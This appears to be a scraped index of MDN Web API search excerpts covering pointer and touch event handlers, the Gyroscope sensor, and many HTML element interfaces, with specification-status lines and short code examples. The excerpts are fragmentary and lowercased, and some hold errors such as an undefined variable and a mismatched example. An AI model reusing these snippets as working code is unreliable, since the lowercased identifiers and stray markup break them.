... recommendation non-stable version pointer eventsthe definition of 'onpointercancel' in that specification.
GlobalEventHandlers.onpointerdown - Web APIs
specifications specification status comment pointer events – level 2the definition of 'onpointerdown' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointerdown' in that specification.
GlobalEventHandlers.onpointerenter - Web APIs
</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'onpointerenter' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointerenter' in that specification.
GlobalEventHandlers.onpointerleave - Web APIs
specifications specification status comment pointer events – level 2the definition of 'onpointerleave' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointerleave' in that specification.
GlobalEventHandlers.onpointermove - Web APIs
</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'onpointermove' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointermove' in that specification.
GlobalEventHandlers.onpointerout - Web APIs
</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'onpointerout' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointerout' in that specification.
GlobalEventHandlers.onpointerover - Web APIs
</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'onpointerover' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointerover' in that specification.
GlobalEventHandlers.onpointerup - Web APIs
</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'onpointerup' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointerup' in that specification.
GlobalEventHandlers.ontouchcancel - Web APIs
it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
...</div> </body> </html> specifications specification status comment touch events – level 2 draft non-stable version.
GlobalEventHandlers.ontouchend - Web APIs
it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
...</div> </body> </html> specifications specification status comment touch events – level 2 draft non-stable version.
GlobalEventHandlers.ontouchmove - Web APIs
it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
...</div> </body> </html> specifications specification status comment touch events – level 2 draft non-stable version.
GlobalEventHandlers.ontouchstart - Web APIs
it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
...</div> </body> </html> specifications specification status comment touch events – level 2 draft non-stable version.
Gyroscope.Gyroscope() - Web APIs
specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
Gyroscope.x - Web APIs
WebAPIGyroscopex
let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocity along the x-axis " + gyroscope.x); console.log("angular velocity along the y-axis " + gyroscope.y); console.log("angular velocity along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
Gyroscope.y - Web APIs
WebAPIGyroscopey
let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocety along the x-axis " + gyroscope.x); console.log("angular velocety along the y-axis " + gyroscope.y); console.log("angular velocety along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
Gyroscope.z - Web APIs
WebAPIGyroscopez
let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocety along the x-axis " + gyroscope.x); console.log("angular velocety along the y-axis " + gyroscope.y); console.log("angular velocety along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
Gyroscope - Web APIs
WebAPIGyroscope
let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocity along the x-axis " + gyroscope.x); console.log("angular velocity along the y-axis " + gyroscope.y); console.log("angular velocity along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation initial definition.
HTMLAnchorElement.referrerPolicy - Web APIs
specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
... candidate recommendation added the referrerpolicy property.
HTMLAreaElement.referrerPolicy - Web APIs
specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
... candidate recommendation added the referrerpolicy property.
HTMLAreaElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlareaelement' in that specification.
... recommendation technically, the properties tabindex and accesskey are now defined on htmlelement.
HTMLBRElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlbrelement' in that specification.
... recommendation no change from document object model (dom) level 2 html specification ...
HTMLCanvasElement: webglcontextcreationerror event - Web APIs
event handler property none example var canvas = document.getelementbyid('canvas'); canvas.addeventlistener('webglcontextcreationerror', function(e) { console.log(e.statusmessage || 'unknown error'); }, false); var gl = canvas.getcontext('webgl'); // logs statusmessage or "unknown error" if unable to create webgl context specifications specification status comment webgl 1.0the definition of 'webglcontextcreationerror' in that specification.
... recommendation initial definition.
HTMLCanvasElement: webglcontextlost event - Web APIs
specifications specification status comment webgl 1.0the definition of 'webglcontextlost' in that specification.
... recommendation initial definition.
HTMLCanvasElement: webglcontextrestored event - Web APIs
specifications specification status comment webgl 1.0the definition of 'webglcontextrestored' in that specification.
... recommendation initial definition.
HTMLDListElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmldlistelement' in that specification.
... recommendation no change from document object model (dom) level 2 html specification.
HTMLDataElement.value - Web APIs
specifications specification status comment html living standardthe definition of 'htmldataelement.value' in that specification.
... recommendation ...
HTMLDataElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmldataelement' in that specification.
... recommendation ...
HTMLDataListElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmldatalistelement' in that specification.
... recommendation initial definition ...
HTMLDialogElement.close() - Web APIs
specifications specification status comment html living standardthe definition of 'close()' in that specification.
... recommendation ...
HTMLDialogElement.returnValue - Web APIs
specifications specification status comment html living standardthe definition of 'returnvalue' in that specification.
... recommendation ...
HTMLDialogElement.show() - Web APIs
odal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventlistener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> specifications specification status comment html living standardthe definition of 'show()' in that specification.
... recommendation ...
HTMLDialogElement.showModal() - Web APIs
specifications specification status comment html living standardthe definition of 'showmodal()' in that specification.
... recommendation ...
HTMLDialogElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmldialogelement' in that specification.
... recommendation initial definition ...
HTMLDivElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmldivelement' in that specification.
... recommendation no change from document object model (dom) level 2 html specification.
HTMLElement: change event - Web APIs
the change event is fired for <input>, <select>, and <textarea> elements when an alteration to the element's value is committed by the user.
...ubbles yes cancelable no interface event event handler property onchange depending on the kind of element being changed and the way the user interacts with the element, the change event fires at a different moment: when the element is :checked (by clicking or using the keyboard) for <input type="radio"> and <input type="checkbox">; when the user commits the change explicitly (e.g., by selecting a value from a <select>'s dropdown with a mouse click, by selecting a date from a date picker for <input type="date">, by selecting a file in the file picker for <input type="file">, etc.); when the element loses focus after its value was changed, but not commited (e.g., after editing the value of <textarea> or <input type="text">).
HTMLElement.lang - Web APIs
WebAPIHTMLElementlang
common examples include "en" for english, "ja" for japanese, "es" for spanish and so on.
... example // this snippet compares the base language and // redirects to another url based on language if (document.documentelement.lang === "en") { window.location.href = "some_document.html.en"; } else if (document.documentelement.lang === "ru") { window.location.href = "some_document.html.ru"; } specification specification status comment document object model (dom) level 2 html specificationthe definition of 'lang' in that specification.
HTMLEmbedElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlembedelement' in that specification.
... recommendation initial definition.
HTMLFormControlsCollection.namedItem() - Web APIs
example html <form> <input id="my-form-control" type="textarea"> </form> javascript // returns the htmlinputelement representing #my-form-control elem1 = document.forms[0]['my-form-control']; specifications specification status comment html living standardthe definition of 'htmlformcontrolscollection.nameditem()' in that specification.
... recommendation in this snapshot of html living standard, the htmlformcontrolscollections is defined for the first time.
HTMLFormControlsCollection - Web APIs
specifications specification status comment html living standardthe definition of 'htmlformcontrolscollection' in that specification.
... recommendation in this snapshot of html living standard, the htmlformcontrolscollections is defined for the first time.
HTMLFormElement.acceptCharset - Web APIs
this list can be comma-separated or space-separated.
... syntax var string = form.acceptcharset; form.acceptcharset = string; example inputs = document.forms['myform'].acceptcharset; specifications specification status comment html living standardthe definition of 'htmlformelement: acceptcharset' in that specification.
HTMLFormElement.reportValidity() - Web APIs
syntax htmlformelement.reportvalidity() return value boolean example document.forms['myform'].addeventlistener('submit', function() { document.forms['myform'].reportvalidity(); }, false); specifications specification status comment html living standardthe definition of 'htmlformelement.reportvalidity()' in that specification.
... recommendation initial definition ...
HTMLHRElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlhrelement' in that specification.
... recommendation following properties are now obsolete: align, noshade, size, and width.
HTMLHeadingElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlheadingelement' in that specification.
... recommendation the align property is now obsolete.
HTMLHyperlinkElementUtils - Web APIs
these utilities allow to deal with common features like urls.
... specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils' in that specification.
HTMLIFrameElement.allowPaymentRequest - Web APIs
specifications specification status comment payment request apithe definition of 'allowpaymentrequest' in that specification.
... candidate recommendation adds allowpaymentrequest property.
HTMLIFrameElement.referrerPolicy - Web APIs
examples var iframe = document.createelement("iframe"); iframe.src = "/"; iframe.referrerpolicy = "unsafe-url"; var body = document.getelementsbytagname("body")[0]; body.appendchild(iframe); // fetch the image using the complete url as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
... candidate recommendation added the referrerpolicy attribute.
HTMLIFrameElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmliframeelement' in that specification.
... recommendation the following properties are now obsolete: scrolling, marginwidth, marginheight, longdesc, frameborder, and align.
HTMLImageElement.align - Web APIs
specifications specification status comment html living standardthe definition of 'htmlimageelement.align' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
HTMLImageElement.alt - Web APIs
icon.svg" alt="albums"</a> <a href="artists.html" aria-role="button"><img src="artisticon.svg" alt="artists"</a> <a href="playlists.html" aria-role="button"><img src="playlisticon.svg" alt="playlists"</a> </li> images containining diagrams or maps when an image contains information presented as a diagram, chart, graph, or map, the alt text should provide the same information, at least in summary form.
... specifications specification status comment html living standardthe definition of 'htmlimageelement.alt' in that specification.
HTMLImageElement.border - Web APIs
lowing html: <img src="image.png" border="2"> the following will provide the same appearance using css instead of this obsolete property: <img src="image.png" style="border: 2px;"> you can further provide additional information to change the color and other features of the border: <img src="image.png" style="border: dashed 2px #333388;"> specifications specification status comment html living standardthe definition of 'htmlimageelement.border' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
HTMLImageElement.decode() - Web APIs
this can be used to initiate loading of the image prior to attaching it to an element in the dom (or adding it to the dom as a new element), so that the image can be rendered immediately upon being added to the dom.
...}) specifications specification status comment html living standardthe definition of 'decode()' in that specification.
HTMLImageElement.hspace - Web APIs
specifications specification status comment html living standardthe definition of 'htmlimageelement.hspace' in that specification.
... recommendation provides additional details not present in the newer specification.
HTMLImageElement.longDesc - Web APIs
specifications specification status comment html 4.01 specificationthe definition of 'htmlimageelement.longdesc' in that specification.
... recommendation provides an actual description of this property; the html5 spec only says it's deprecated.
HTMLImageElement.name - Web APIs
specifications specification status comment html living standardthe definition of 'htmlimageelement.name' in that specification.
... recommendation provides additional details not available in the html 5 browser compatibility the compatibility table on this page is generated from structured data.
HTMLImageElement.referrerPolicy - Web APIs
examples var img = new image(); img.src = 'img/logo.png'; img.referrerpolicy = 'origin'; var div = document.getelementbyid('divaround'); div.appendchild(img); // fetch the image using the origin as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
... candidate recommendation added the referrerpolicy property.
HTMLImageElement.sizes - Web APIs
syntax let sizes = htmlimageelement.sizes; htmlimageelement.sizes = sizes; value a usvstring containing a comma-separated list of source size descriptors followed by an optional fallback size.
... specifications specification status comment html living standardthe definition of 'htmlimageelement.sizes' in that specification.
HTMLImageElement.vspace - Web APIs
specifications specification status comment html living standardthe definition of 'htmlimageelement.vspace' in that specification.
... recommendation the html 4.01 specification offers additional details.
HTMLInputElement.labels - Web APIs
for="test">label 1</label> <input id="test"/> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const input = document.getelementbyid("test"); for(var i = 0; i < input.labels.length; i++) { console.log(input.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
... recommendation initial definition ...
HTMLInputElement.setRangeText() - Web APIs
html <input type="text" id="text-box" size="30" value="this text has not been updated."> <button onclick="selecttext()">update text</button> javascript function selecttext() { const input = document.getelementbyid('text-box'); input.focus(); input.setrangetext('already', 14, 17, 'select'); } result specifications specification status comment html living standardthe definition of 'htmlinputelement.setselectionrange()' in that specification.
... recommendation initial definition ...
HTMLIsIndexElement - Web APIs
specifications specification status comment html5the definition of 'htmlisindexelement' in that specification.
... recommendation removed.
HTMLLIElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmllielement' in that specification.
... recommendation the following property is now obsolete: type.
HTMLLabelElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmllabelelement' in that specification.
... recommendation the property accesskey is now defined on htmlelement.
HTMLLinkElement.as - Web APIs
specifications specification status comment preloadthe definition of 'as' in that specification.
... candidate recommendation initial definition.
HTMLLinkElement.referrerPolicy - Web APIs
syntax domstring htmllinkelement.referrerpolicy example var links = document.getelementsbytagname("link"); links[0].referrerpolicy; // "no-referrer" specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
... candidate recommendation ...
HTMLLinkElement.rel - Web APIs
the most common use of this attribute is to specify a link to an external style sheet: the property is set to stylesheet, and the href attribute is set to the url of an external style sheet to format the page.
... syntax var relstr = linkelt.rel; linkelt.rel = relstr; example var links = document.getelementsbytagname('link'); var length = links.length; for (var i = 0; i < length; i++) { alert(links[i]); } specifications specification status comment html living standardthe definition of 'rel' in that specification.
HTMLMapElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlmapelement' in that specification.
... recommendation adds the images property.
HTMLMediaElement.audioTracks - Web APIs
var video = document.getelementbyid("video"); for (var i = 0; i < video.audiotracks.length; i += 1) { video.audiotracks[i].enabled = false; } specifications specification status comment html living standardthe definition of 'htmlmediaelement.audiotracks' in that specification.
... recommendation initial definition.
HTMLMediaElement.autoplay - Web APIs
<video id="video" controls> <source src="https://player.vimeo.com/external/250688977.sd.mp4?s=d14b1f1a971dde13c79d6e436b88a6a928dfe26b&profile_id=165"> </video> *** disable autoplay (recommended) *** false is the default value document.queryselector('#video').autoplay = false; specifications specification status comment html living standardthe definition of 'htmlmediaelement.autoplay' in that specification.
... recommendation initial definition.
HTMLMediaElement.buffered - Web APIs
example var obj = document.createelement('video'); console.log(obj.buffered); // timeranges { length: 0 } specifications specification status comment html living standardthe definition of 'htmlmediaelement.buffered' in that specification.
... recommendation initial definition.
HTMLMediaElement.canPlayType() - Web APIs
example var obj = document.createelement('video'); console.log(obj.canplaytype('video/mp4')); // "maybe" specifications specification status comment html living standardthe definition of 'canplaytype' in that specification.
... recommendation initial definition.
HTMLMediaElement.controller - Web APIs
specifications specification status comment html5the definition of 'htmlmediaelement.controller' in that specification.
... recommendation initial definition.
HTMLMediaElement.controls - Web APIs
example var obj = document.createelement('video'); obj.controls = true; specifications specification status comment html living standardthe definition of 'htmlmediaelement.controls' in that specification.
... recommendation initial definition.
HTMLMediaElement.crossOrigin - Web APIs
specifications specification status comment html living standardthe definition of 'htmlmediaelement.crossorigin' in that specification.
... recommendation initial definition ...
HTMLMediaElement.currentSrc - Web APIs
example var obj = document.createelement('video'); console.log(obj.currentsrc); // "" specifications specification status comment html living standardthe definition of 'htmlmediaelement.currentsrc' in that specification.
... recommendation initial definition.
HTMLMediaElement.currentTime - Web APIs
specifications specification status comment html living standardthe definition of 'htmlmediaelement.currenttime' in that specification.
... recommendation initial definition.
HTMLMediaElement.defaultMuted - Web APIs
example var videoele = document.createelement('video'); videoele.defaultmuted = true; console.log(videoele.outerhtml); // <video muted=""></video> specifications specification status comment html living standardthe definition of 'htmlmediaelement.defaultmuted' in that specification.
... recommendation initial definition.
HTMLMediaElement.defaultPlaybackRate - Web APIs
example var obj = document.createelement('video'); console.log(obj.defaultplaybackrate); // 1 specifications specification status comment html living standardthe definition of 'htmlmediaelement.defaultplaybackrate' in that specification.
... recommendation initial definition.
HTMLMediaElement.disableRemotePlayback - Web APIs
(false means "not disabled", which means "enabled") example var obj = document.createelement('audio'); obj.disableremoteplayback = true; specifications specification status comment remote playback apithe definition of 'disableremoteplayback' in that specification.
... candidate recommendation initial definition.
HTMLMediaElement.duration - Web APIs
examples var obj = document.createelement('video'); console.log(obj.duration); // nan specifications specification status comment html living standardthe definition of 'htmlmediaelement.duration' in that specification.
... recommendation initial definition.
HTMLMediaElement.ended - Web APIs
example var obj = document.createelement('video'); console.log(obj.ended); // false specifications specification status comment html living standardthe definition of 'htmlmediaelement.ended' in that specification.
... recommendation ...
HTMLMediaElement.error - Web APIs
var videoelement = document.createelement('video'); videoelement.onerror = function() { console.log("error " + videoelement.error.code + "; details: " + videoelement.error.message); } videoelement.src = "https://example.com/bogusvideo.mp4"; specifications specification status comment html living standardthe definition of 'htmlmediaelement.error' in that specification.
... recommendation ...
HTMLMediaElement.load() - Web APIs
var mediaelem = document.queryselector("video"); mediaelem.load(); specifications specification status comment html living standardthe definition of 'htmlmediaelement.load()' in that specification.
... recommendation initial definition.
HTMLMediaElement.loop - Web APIs
example var obj = document.createelement('video'); obj.loop = true; // true specifications specification status comment html living standardthe definition of 'htmlmediaelement.loop' in that specification.
... recommendation ...
HTMLMediaElement.muted - Web APIs
example var obj = document.createelement('video'); console.log(obj.muted); // false specifications specification status comment html living standardthe definition of 'htmlmediaelement.muted' in that specification.
... recommendation ...
HTMLMediaElement.networkState - Web APIs
} }); specifications specification status comment html living standardthe definition of 'htmlmediaelement.networkstate' in that specification.
... recommendation ...
HTMLMediaElement.onencrypted - Web APIs
} specifications specification status comment encrypted media extensionsthe definition of 'onencrypted' in that specification.
... recommendation initial definition.
HTMLMediaElement.onwaitingforkey - Web APIs
} specifications specification status comment encrypted media extensionsthe definition of 'onwaitingforkey' in that specification.
... recommendation initial definition.
HTMLMediaElement.pause() - Web APIs
specifications specification status comment html living standardthe definition of 'pause()' in that specification.
... recommendation initial definition.
HTMLMediaElement: pause event - Web APIs
the pause event is sent when a request to pause an activity is handled and the activity has entered its paused state, most commonly after the media has been paused through a call to the element's pause() method.
... recommendation ...
HTMLMediaElement.paused - Web APIs
example var obj = document.createelement('video'); console.log(obj.paused); // true specifications specification status comment html living standardthe definition of 'htmlmediaelement.paused' in that specification.
... recommendation ...
HTMLMediaElement.playbackRate - Web APIs
(default: 1.0) example var obj = document.createelement('video'); console.log(obj.playbackrate); // expected output: 1 specifications specification status comment html living standardthe definition of 'htmlmediaelement.playbackrate' in that specification.
... recommendation ...
HTMLMediaElement.readyState - Web APIs
<audio id="example" preload="auto"> <source src="sound.ogg" type="audio/ogg" /> </audio> var obj = document.getelementbyid('example'); obj.addeventlistener('loadeddata', function() { if(obj.readystate >= 2) { obj.play(); } }); specifications specification status comment html living standardthe definition of 'htmlmediaelement.readystate' in that specification.
... recommendation ...
HTMLMediaElement.seekToNextFrame() - Web APIs
this method returns immediately, returning a promise, whose fulfillment handler is called when the seek operation is complete.
...if the seek fails because the media is already at the last frame, a seeked event occurs, followed immediately by an ended event.
HTMLMediaElement.setMediaKeys() - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'setmediakeys()' in that specification.
... recommendation initial definition.
HTMLMediaElement.setSinkId() - Web APIs
on to use the requested device examples const devices = await navigator.mediadevices.enumeratedevices(); const audiodevices = devices.filter(device => device.kind === 'audiooutput'); const audio = document.createelement('audio'); await audio.setsinkid(audiodevices[0].deviceid); console.log('audio is being played on ' + audio.sinkid); specifications specification status comment audio output devices apithe definition of 'sinkid' in that specification.
... candidate recommendation initial definition.
HTMLMediaElement.src - Web APIs
example var obj = document.createelement('video'); console.log(obj.src); // "" specifications specification status comment html living standardthe definition of 'htmlmediaelement.src' in that specification.
... recommendation initial definition.
HTMLMedia​Element​.textTracks - Web APIs
specifications specification status comment html living standardthe definition of 'htmlmediaelement.texttracks' in that specification.
... recommendation initial definition.
HTMLMediaElement.volume - Web APIs
example var obj = document.createelement('audio'); console.log(obj.volume); // 1 obj.volume = 0.75; specifications specification status comment html living standardthe definition of 'htmlmediaelement.volume' in that specification.
... recommendation ...
HTMLMenuItemElement - Web APIs
no,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmenuitemelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} propertiesthis interface has no properties, but inherits properties from: htmlelementmethodsthis interface has no methods, but inherits methods from: htmlelement specifications specification status comment html 5.1the definition of 'htmlmenuitemelement' in that specification.
... recommendation snapshot of the html living standard.
HTMLMetaElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlmetaelement' in that specification.
... recommendation the following property is now obsolete: scheme.
HTMLMeterElement.labels - Web APIs
"test" min="0" max="100" value="70">70</meter> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const meter = document.getelementbyid("test"); for(var i = 0; i < meter.labels.length; i++) { console.log(meter.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
... recommendation initial definition ...
HTMLModElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlanchorelement' in that specification.
... recommendation no change from document object model (dom) level 2 html specification.
HTMLOListElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlolistelement' in that specification.
... recommendation added the reversed property.
HTMLObjectElement.typeMustMatch - Web APIs
syntax var mustmatch = obj.typemustmatch; obj.typemustmatch = mustmatch; example html <object id="obj" data="move.swf" type="application/x-shockwave-flash" typemustmatch></object> javascript let obj = document.getelementbyid('obj'); console.log(obj.typemustmatch); specifications specification status comment html5the definition of 'htmlobjectelement' in that specification.
... recommendation the w3c specification is a latest of a previous version of html living standard first snapshot with this property.
HTMLObjectElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlobjectelement' in that specification.
... recommendation the w3c specification is a latest of a previous version of html living standard technically, the property tabindex is now defined on htmlelement.
HTMLOptGroupElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmloptgroupelement' in that specification.
... recommendation no change from document object model (dom) level 2 html specification.
Option() - Web APIs
ribute } if (element == 'two') { s[s.options.length] = new option(element, s.options.length, false, true); // just will be selected in "view" } }); /* result <select id="s"> <option value="0">zero</option> <option value="1" selected="">one</option> <option value="2">two</option> // user will see this as 'selected' </select> */ specification specification status comment html5 the definition of 'option' in that specification.
... recommendation ...
HTMLOptionElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmloptionelement' in that specification.
... recommendation a constructor, option(), has been added.
HTMLOrForeignElement - Web APIs
the htmlorforeignelement mixin describes several features common to the htmlelement, svgelement and mathmlelement interfaces.
... specifications specification status comment html living standardthe definition of 'htmlorforeignelement' in that specification.
HTMLOutputElement.labels - Web APIs
1</label> <output id="test">output</output> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const output = document.getelementbyid("test"); for(var i = 0; i < output.labels.length; i++) { console.log(output.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
... recommendation initial definition ...
HTMLParagraphElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlparagraphelement' in that specification.
... recommendation the following property is now obsolete: align.
HTMLParamElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlparamelement' in that specification.
... recommendation the following properties are now obsolete: type, and valuetype.
HTMLPreElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlpreelement' in that specification.
... recommendation the following property is now obsolete: width.
HTMLProgressElement.labels - Web APIs
" value="70" max="100">70%</progress> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const progress = document.getelementbyid("test"); for(var i = 0; i < progress.labels.length; i++) { console.log(progress.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
... recommendation initial definition ...
HTMLQuoteElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlquoteelement' in that specification.
... recommendation no change from document object model (dom) level 2 html specification.
HTMLScriptElement.referrerPolicy - Web APIs
examples var scriptelem = document.createelement("script"); scriptelem.src = "/"; scriptelem.referrerpolicy = "unsafe-url"; document.body.appendchild(script); specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
... candidate recommendation added the referrerpolicy attribute.
HTMLSelectElement.add() - Web APIs
<select id="existinglist"> <option value="1">option: value 1</option> <option value="2">option: value 2</option> </select> and changes it to: <select id="existinglist"> <option value="1">option: value 1</option> <option value="3">option: value 3</option> <option value="2">option: value 2</option> </select> */ specifications specification status comment html living standardthe definition of 'htmlselectelement.add()' in that specification.
... recommendation is a snapshot of html living standard.
HTMLSelectElement.autofocus - Web APIs
; // get the value of autofocus aselectelement.autofocus = abool; // set the value of autofocus example html <select id="myselect" autofocus> <option>option 1</option> <option>option 2</option> </select> javascript // check if the autofocus attribute on the <select> var hasautofocus = document.getelementbyid('myselect').autofocus; specifications specification status comment html living standardthe definition of 'autofocus' in that specification.
... recommendation ...
HTMLSelectElement.checkValidity() - Web APIs
syntax var result = selectelt.checkvalidity(); specifications specification status comment html living standardthe definition of 'htmlselectelement.checkvalidity()' in that specification.
... recommendation initial definition, snapshot of html living standard ...
HTMLSelectElement.disabled - Web APIs
lect> javascript var allowdrinkscheckbox = document.getelementbyid("allow-drinks"); var drinkselect = document.getelementbyid("drink-select"); allowdrinkscheckbox.addeventlistener("change", function(event) { if (event.target.checked) { drinkselect.disabled = false; } else { drinkselect.disabled = true; } }, false); result specifications specification status comment html living standardthe definition of 'disabled' in that specification.
... recommendation initial definition, snapshot of html living standard.
HTMLSelectElement.form - Web APIs
the below code gives all select elements in a particular form a css class of "selectclass": <script type="text/javascript"> var form_element = document.getelementbyid('subscribe_form'); var vist = form_element.style; if (vist.display=='' || vist.display=='none') { vist.display = 'block'; } else { vist.display = 'none'; } </script> specifications specification status comment html living standardthe definition of 'form' in that specification.
... recommendation initial definition, snapshot of html living standard.
HTMLSelectElement.item() - Web APIs
examples html <form> <select id="myformcontrol" type="textarea"> <option id="o1">opt 1</option> <option id="o2">opt 2</option> </select> </form> javascript // returns the htmloptionelement representing #o2 elem1 = document.forms[0]['myformcontrol'][1]; specifications specification status comment html living standardthe definition of 'htmlselectelement.item()' in that specification.
... recommendation initial definition, snapshot of html living standard ...
HTMLSelectElement.labels - Web APIs
ption value="2">option 2</option> </select> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const select = document.getelementbyid("test"); for(var i = 0; i < select.labels.length; i++) { console.log(select.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
... recommendation initial definition ...
HTMLSelectElement.namedItem() - Web APIs
example html <form> <select id="myformcontrol"> <option id="o1">opt 1</option> <option id="o2">opt 2</option> </select> </form> javascript elem1 = document.forms[0]['myformcontrol']['o1']; // returns the htmloptionelement representing #o1 specifications specification status comment html living standardthe definition of 'htmlselectelement.nameditem()' in that specification.
... recommendation initial definition, snapshot of html living standard ...
HTMLSelectElement.options - Web APIs
est"> <option value="1">option 1</option> <option value="2">option 2</option> </select> javascript window.addeventlistener("domcontentloaded", function() { const select = document.getelementbyid("test"); for(var i = 0; i < select.options.length; i++) { console.log(select.options[i].label); // "option 1" and "option 2" } }); specifications specification status comment html living standardthe definition of 'options' in that specification.
... recommendation initial definition ...
HTMLSelectElement.remove() - Web APIs
inglist"> <option value="1">option: value 1</option> <option value="2">option: value 2</option> <option value="3">option: value 3</option> </select> and changes it to: <select id="existinglist" name="existinglist"> <option value="1">option: value 1</option> <option value="3">option: value 3</option> </select> */ specifications specification status comment html living standardthe definition of 'htmlselectelement.remove()' in that specification.
... recommendation is a snapshot of html living standard.
HTMLSelectElement.selectedIndex - Web APIs
n>option e</option> </select> javascript var selectelem = document.getelementbyid('select') var pelem = document.getelementbyid('p') // when a new <option> is selected selectelem.addeventlistener('change', function() { var index = selectelem.selectedindex; // add that data to the <p> pelem.innerhtml = 'selectedindex: ' + index; }) specifications specification status comment html living standardthe definition of 'htmlselectelement' in that specification.
... recommendation initial definition, snapshot of html living standard.
HTMLSelectElement.setCustomValidity() - Web APIs
specifications specification status comment html living standardthe definition of 'htmlselectelement.setcustomvalidity()' in that specification.
... recommendation initial definition, snapshot of html living standard ...
HTMLSelectElement.type - Web APIs
example switch (select.type) { case 'select-multiple': // multiple values may be selected break; case 'select-one': // only one value may be selected break; default: // non-standard value (or this isn't a select element) } specifications specification status comment html living standardthe definition of 'htmlselectelement' in that specification.
... recommendation is a snapshot of html living standard.
HTMLSelectElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlselectelement' in that specification.
... recommendation is a snapshot of html living standard.
HTMLSourceElement - Web APIs
htmlsourceelement.srcset is a domstring reflecting the srcset html attribute, containing a list of candidate images, separated by a comma (',', u+002c comma).
... specifications specification status comment html living standardthe definition of 'htmlsourceelement' in that specification.
HTMLTableCaptionElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmltablecaptionelement' in that specification.
... recommendation no change from document object model (dom) level 2 html specification, though align was formerly obsoleted.
HTMLTableCellElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmltablecellelement' in that specification.
... recommendation the following properties have been obsoleted: align, axis, bgcolor, height, width, ch, choff, nowrap, and valign.
HTMLTableColElement - Web APIs
